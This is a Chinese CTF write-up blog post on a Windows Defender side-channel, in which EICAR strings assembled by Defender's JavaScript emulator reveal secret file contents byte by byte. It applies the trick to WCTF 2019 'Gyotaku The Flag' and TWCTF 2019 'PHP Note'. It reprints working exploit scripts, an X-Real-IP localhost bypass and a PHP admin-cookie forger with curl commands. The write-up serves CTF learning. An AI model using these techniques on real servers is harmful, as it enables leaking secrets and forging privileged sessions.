Windows Defender 侧信道攻击

在今年的 WCTF 2019 上,Tokyo Westerns 出了一道与 Windows Defender 侧信道攻击相关的题目,在 Tokyo Westerns CTF 2019 上也有一道与之有关的题目 PHP Note,看了感觉比较有趣,但是我看的网络文章写的都比较粗略,这里我就记录一下自己的分析。

Windows Defender

众所周知,Windows Defender 是 Windows 10 平台上一款自带的安全防护软件,游戏弹窗杀手

{% colorquote info %}

Windows Defender(Windows 10 创意者更新后名为Windows Defender Antivirus),曾用名Microsoft AntiSpyware,最初是用来移除、隔离和预防间谍软件的程序,可以运行在Windows XP以及更高版本的操作系统上,并已经内置在Windows Vista以及以后的版本中。Windows Defender的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials,成为一款全面反病毒软件。

Windows Defender不像某些其他同类免费产品一样只能扫描系统,还可以对系统进行实时监控,移除已经安装的ActiveX插件,清除大多数微软的程序和其他常用程序的历史纪录。

{% endcolorquote %}

What Windows Defender will do

根据 TW 的分析,Windows Defender 会有以下行为:

  1. 检查文件内容是否有恶意内容
  2. 改变恶意文件的权限以避免用户去加载
  3. 替换恶意内容为空
  4. 删除整个文件

在第二步中,如果文件被 Windows Defender 检测出是恶意文件的话,用户就不可以访问了。

Make Windows Defender Angry

EICAR

{% colorquote info %}

EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会(EICAR)与计算机病毒研究组织(CARO)研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。

{% endcolorquote %}

我们可以使用以下字符串测试 Windows Defender

1
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

只需要将这个字符串复制,然后保存在一个空白的 txt 文件当中即可触发 Windwos Defender,所以我们先通过这个样例来检查一下自己的 Windows Defender 是否开启。

Mpengine.dll

根据 Tokyo Westerns 的分析,Windows Defender 有一个核心 dll 文件 Mpengine.dll ,他可以对不同的内容进行分析,包括一些 base64 encode/RAR archived/etc. ,其中比较有意思的是它还有一个 Javascript Engine。

这个引擎可以分析 HTML 文档,并且可以分析其中的 Javascript 代码,包括对文档中的 DOM 元素的访问。

我们可以做个简单的验证,我们先只使用以下代码测试:

1
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

可以发现我们并没有触发 Windows Defender,即使字符串是 EICAR 测试样本,说明了字符串不受 EICAR 特征影响。

接着我们尝试添加一下eval

1
2
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);

没错,在保存的时候就立马触发了 Windows Defender ,足以验证当中有一个 Javascript Engine 进行了内容检测,而且即使没有完整的 Javascript 标签,也可以触发 Windows defender。

Interesting Check

接下来我们再看几个测试例子:

1
2
3
4
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>

非常棒,并没有被检测出恶意内容。

接着我们再试着加一个<body>标签:

1
2
3
4
5
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

也很棒,也没有检测出恶意内容。

让我们再操作一下 DOM 元素:

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

Done! 触发了恶意内容检测。

那如果我们把 EICAR 内容进行一下拆分呢?

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>a</body>

这里我们获取的是<body>标签中的第一个字符,也就是a,不构成 EICAR 测试样本,所以触发不了 Windows Defender 也很正常。

那我们改一下<body>标签当中的内容呢?使用*试试看

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>*</body>

很棒,意料之中地触发了 Windows Defender。

Go Hacking

那触发 Windows Defender 会有什么问题吗?虽然这里看似没什么毛病,但是放到业务代码里面就不一样了。

仔细想想一般程序猿会这么写文件呢?细心的程序猿在进行写文件之后要 check 一遍是否写入成功,类似:

1
2
3
$err = file_put_contents('/tmp/file_name', 'something need to be saved');
if(!$err)					
  return Exception;

file_put_contents在写入成功后返回写入多少个字节,失败的时候返回False,然后我们就可以利用这个特性,当我们写入恶意数据的时候,因为 Windows Defender 检查出恶意内容,禁止了用户读取权限或者删除了文件,导致服务因为检查写入不成功抛出异常,而对于我们来说可能直接返回错误的状态码类似 500 。

所以我们可以总结一下,大致我们可以有这么一套侧信道攻击的攻击链:

1
2
3
eval("EICA"+input) -> ?
    detected -> input is 'R'
    not detected -> input is not 'R'

如果内容中有<body>标签,并且如果有无法通过正常手段读到的数据,我们可以尝试用这种类似“盲注”的方式去获取秘密数据

1
2
3
JavaScript can access the elements :)
○ if they have <body> tag
<script>document.body.innerHTML[0]</script><body>[secret]</body>

这里需要注意的是,Tokyo Westerns 指出使用if语句构造的 EICAR 样本,Windows Defender 是不会检测出来的,例如以下 payload ,mal已经可以构造出 EICAR 样本,但是不会触发 Windows Denfender 的,但是大致思路我们可以通过这段代码来理解

1
2
3
4
5
6
7
8
<script>
var n = 'a';
if(document.body.innerHTML[0] > 'a')
	n = '*';
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + n;
eval(mal);
</script>
<body>flag{aaa}</body>

然后我们大致修改一下,不使用if作为判断选择条件,使用Math.min()作为判断选择,所以大致我们可以得到这么个 payload :

1
2
3
4
5
6
7
<script>
    var num = 90;
    var body = document.body.innerHTML[0].charCodeAt(0);
    var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + {[num] : '*'}[Math.min(num ,body)];
    eval(mal);
</script>
<body>flag{aaa}</body>

因为body获取到的是f的 ascii 码为 102 ,大于 90 ,所以Math.min()返回值为 90 ,{[num]:'*'}创建了一个 key 为 90 ,value 为 * 的对象,这里注意需要用[num]num当作变量,因为如果直接使用{num:'*'},这样是创建了一个 key 为 num 的一个字符串, value 为 * 的对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
>     var num = 90;
undefined
>     var n = {num : '*'};
undefined
>     console.log([num]);
[ 90 ]
undefined
>     console.log(n[num]);
undefined
undefined
>     console.log(n['num']);
*
undefined
>     console.log(n);
{ num: '*' }

这样我们就可以通过“盲注”的方式获取<body>标签中的秘密数据了。

Gyotaku The Flag

题目源码在 Gyotaku The Flag,slides 在 WCTF2019: Gyotaku The Flag

有了以上的知识,让我们回到 WCTF 2019 Gyotaku The Flag 这道题上,这道题有这么几个路由

1
2
3
4
5
6
7
e.GET("/", IndexHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku", GyotakuListHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku/:gid", GyotakuViewHandler(dbconn), LoginRequiredMiddleware)
e.GET("/flag", FlagHandler, InternalRequiredMiddleware)

e.POST("/login", LoginHandler(dbconn))
e.POST("/gyotaku", GyotakuHandler(dbconn), LoginRequiredMiddleware)

So easy to GetFlag

/flag的路由上有一个类似于中间件的功能:InternalRequiredMiddleware

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		ip := net.ParseIP(c.RealIP())
		localip := net.ParseIP("127.0.0.1")
		if !ip.Equal(localip) {
			return echo.NewHTTPError(http.StatusForbidden)
		}
		return next(c)
	}
}

以及 FlagHandler:

1
2
3
4
5
6
7
func FlagHandler(c echo.Context) error {
	data, err := ioutil.ReadFile("flag")
	if err != nil {
		return err
	}
	return c.String(http.StatusOK, string(data))
}

可以看到这是一个控制只能127.0.0.1访问的功能函数,用于构造题目的 SSRF 这么一个类似的关卡,可是由于出题人不是特别细心,echo.Context.RealIP可以被X-Real-IP绕过,所以导致了当时很多人直接通过这个方式拿到了 flag …

题目结束,分析完了,关了吧别看了,后面都是扯淡,拿到 flag 就是王道,管他用什么方式

The better way to GetFlag

好了,我们接下来分析分析比较有意思的预期解。

/login路由比较简单,使用的是goleveldb做的数据操作

/gyotaku路由 GET 方法列举用户有多少金坷垃

/gyotaku/:gid从文件中查找gid

我们可以在/gyotaku路由的 POST 方法中看到接收了一个 url 参数,并对 url 进行了请求:

1
2
3
url := c.FormValue("url")
...
resp, err := http.Get(url)

这就是我们需要的 SSRF 的点了,传入 url 让服务器请求这个 URL 。

然后我们可以接着往下看,注意到有个写文件的操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
resp, err := http.Get(url)
if err != nil {
  return err
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
  return err
}

// save gyotaku
gyotakudata := &GyotakuData{
  URL:      url,
  Data:     string(body),
  UserName: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
  return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
  return err
}

这段将GyotakuData写入了一个文件当中,并且跟我们上文提到的写文件方法一致,判断了是否写入成功,不成功就返回err,并且在这里三个写入的参数我们都可控。

所以我们现在可以有一个大致思路,通过提交{"url":"http://127.0.0.1/flag"}/gyotaku路由,构成一个 SSRF ,这时候/flag路由会返回 flag ,通过以上代码解析,flag 被放到了Data中,接着我们再看一下GyotakuData结构体

1
2
3
4
5
type GyotakuData struct {
	URL      string `json:"url"`
	Data     string `json:"data"`
	UserName string `json:"username"`
}

如果中间是Data是我们<body>标签的 secret 数据,那么UserName我们就需要一个</body>标签将其闭合,前面 URL 怎么构造好呢?

因为/flag路由是不处理任何 GET 参数的,所以我们可以尝试把我们需要构造的 payload 放到 URL 参数当中,这样就可以构造了我们上文的 Payload 了,我们需要构造的大致就是以下这样:

1
2
3
4
5
type GyotakuData struct {
  URL      string "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
  Data     string "flag{test}"
	UserName string "</body>"
}

这样服务把GyotakuData结构体写入文件当中了:

1
2
...GyotakuData...URL...Data...UserName...http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>...
flag{test}...</body>...

为了方便阅读,上面我用...代替了不可见字符,可以用以下测试代码进行测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
	"bytes"
	"encoding/gob"
	"io/ioutil"
)

type GyotakuData struct {
	URL      string `json:"url"`
	Data     string `json:"data"`
	UserName string `json:"username"`
}

func main() {
	url := "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
	body := "flag{test}"
	username := "</body>"

	gyotakudata := &GyotakuData{
		URL:      url,
		Data:     body,
		UserName: username,
	}
	buf := bytes.NewBuffer(nil)
	gob.NewEncoder(buf).Encode(gyotakudata)
	ioutil.WriteFile("test.txt", buf.Bytes(), 0644)
}

这样只要我们每次控制 num 的值,我们就可以在服务器 500 的时候判断我们设立的条件是否成立了。这里直接给出 TokyoWesterns 的 exp 脚本,他们使用了二分法加快判断:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
    import string
    prefix = randstr()
    p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
    p = string.Template(p).substitute({'idx': idx, 'c': c})
    req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
    return req.json()

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)

这里trigger函数中 idx 就是获取的<body>标签中的第几位,c 就是我们传入的用于比较的 ascii 码值。至此,这题就分析完毕了。

PHP Note

在 TokyoWesterns CTF 2019 上,由于 WCTF 2019 上的失误,让他们又出了一道与之相关的题目。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file(__FILE__);
    exit();
}


session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];
    
    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>
<!doctype html>
<html>
    <head>
        <title>PHP note</title>
    </head>
    <style>
        textarea {
            resize: none;
            width: 300px;
            height: 200px;
        }
    </style>
    <body>
        <?php
        if (!is_login()) {
            $realname = htmlspecialchars($realname);
            $nickname = htmlspecialchars($nickname);
        ?>
        <form action="/?action=login" method="post" id="login">
            <input type="text" id="firstname" placeholder="First Name">
            <input type="text" id="lastname" placeholder="Last Name">
            <input type="text" name="nickname" id="nickname" placeholder="nickname">
            <input type="hidden" name="realname" id="realname">
            <button type="submit">Login</button>
        </form>
        <?php
        } else {
        ?>
        <h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
        <a href="/?action=logout">logout</a>
        <!-- <a href="/?action=source">source</a> -->
        <br/>
        <br/>
        <?php
            foreach($note->getnotes() as $k => $v) {
                list($title, $body) = $v;
                $title = htmlspecialchars($title);
                $body = htmlspecialchars($body);
        ?>
        <h2><?=$title?></h2>
        <p><?=$body?></p>
        <?php
            }
        ?>
        <form action="/?action=post" method="post">
            <input type="text" name="title" placeholder="title">
            <br>
            <textarea name="body" placeholder="body"></textarea>
            <button type="submit">Post</button>
        </form>
        <?php
        }
        ?>
        <?php
        ?>
        <script>
            document.querySelector("form#login").addEventListener('submit', (e) => {
                const nickname = document.querySelector("input#nickname")
                const firstname = document.querySelector("input#firstname")
                const lastname = document.querySelector("input#lastname")
                document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
                if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
                    nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
                }
            })
        </script>
    </body>
</html> 

乍一看确实没有任何的漏洞点,让人比较在意的只有unserialize函数,我们关注的是getflag(),条件是成为管理员,而我们可以看到有以下条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

...
  
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
  ? unserialize(base64_decode($_COOKIE['note']))
  : new Note(false);

如果没有通过verify函数判断,Note的构造函数会设置$this->isadmin = False;,但是$_SESSION['secret']又由gen_secret函数生成,SALTPEPPER我们都不知道,用一般的方法拿到 secret 基本不可能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

...

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

hash_equals也没有什么绕过的办法,所以这里看起来似乎没有什么正常的办法。

大致我们可以知道要获取 Flag ,就要成为 admin ,要成为 admin 就要知道 $_SESSION['secret']

题目的大致功能也比较简单,只有登录注销、增加 post 功能,但是我们可以从相应头发现一些蛛丝马迹:

1
2
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9

之后我们就可以从这里大概猜到其实与上题一致,为什么这么说呢?

  • $_SESSION['secret']存放在 Session 文件当中
  • Session 文件又存放在本地文件系统中
  • 如果 Session 文件含有恶意内容就会被 Windows Defender 阻止访问造成登录失败
  • 这样我们似乎可以通过是否登录成功来获得$_SESSION['secret']

我们可以本地进行测试一下,随便登录一个发现 session 文件内容是

1
realname|s:9:"zedd zedd";nickname|s:6:"yoyoyo";secret|s:32:"621e1d6607af0b500603e68b23e042e2";

发现 secret 竟然是在我们可控数据的后面,如果没有</body>标签闭合,Windows Defender 的 JS Engine 不像现代浏览器一样可以闭合标签,这样我们也达不到我们侧信道攻击的效果,所以我们需要找到一个办法让我们可控的地方在 secret 数据后面才行。

让我们再回顾一下登录逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

其中我们可以看到这里有一个$nickname为空的判断,我们看看当$nickname为空的时候登录,session 文件会是怎么样的:

1
realname|s:9:"zedd zedd";secret|s:32:"8b9a527ff677cb223afa87dad7c9e6f8";

此时如果我们不注销,直接再次发一个含有 nickname 的登录包,看看又会有什么效果

1
realname|s:9:"zedd zedd";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:6:"yoyoyo";

!!!这种数据格式不正是我们所需要的侧信道攻击格式吗!这样我们就可以通过 Windows Defender 侧信道攻击把 secret 读出来了!

只要我们构造类似如下的 payload 就可以了( x 为序列化之后的字符串长度):

1
realname|s:x:"<script>var body = document.body.innerHTML;var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H;' + body[0];eval(mal);</script><body>";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:x:"</body>";

接下来就是与上面类似的步骤,利用“盲注”的形式来读 secret ,下面就贴一下 r3kapig 师傅们的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme

def trigger(c, idx):
   import string
   p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
   p = string.Template(p).substitute({'idx': idx, 'c': c})
   return p

def leak(idx):
   l, h = 0, 0x100
   while h - l > 1:
       m = (h + l) // 2
       gid = trigger(m, idx)
       # r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
       # print r.content
       # exit()
       s = requests.session()
       s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
       if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
           l = m
       else:
           h = m
   return chr(l)

data = ''
for i in range(100):
   data += leak(i)
   print(data)

拿到 secret 之后,就可以构造 Note 类了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return "2532bd172578d19923e5348420e02320";
}

// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";

// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));

/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"
1
2
$ php flag.php | sh | grep "TWCTF"
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}<!doctype html>

One More

其实个人觉得 Windows Defender 这个 JS Engine 还是有很多没发掘的地方,奈何自己逆向水平不够,这里放几个会议的分享吧

Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator

Reference

Playing with Windwos Defender

r3kapig - PHP Note

balsn - PHP Note

Licensed under CC BY-NC-SA 4.0

Tip

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements

想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情

Built with Hugo
Theme Stack designed by Jimmy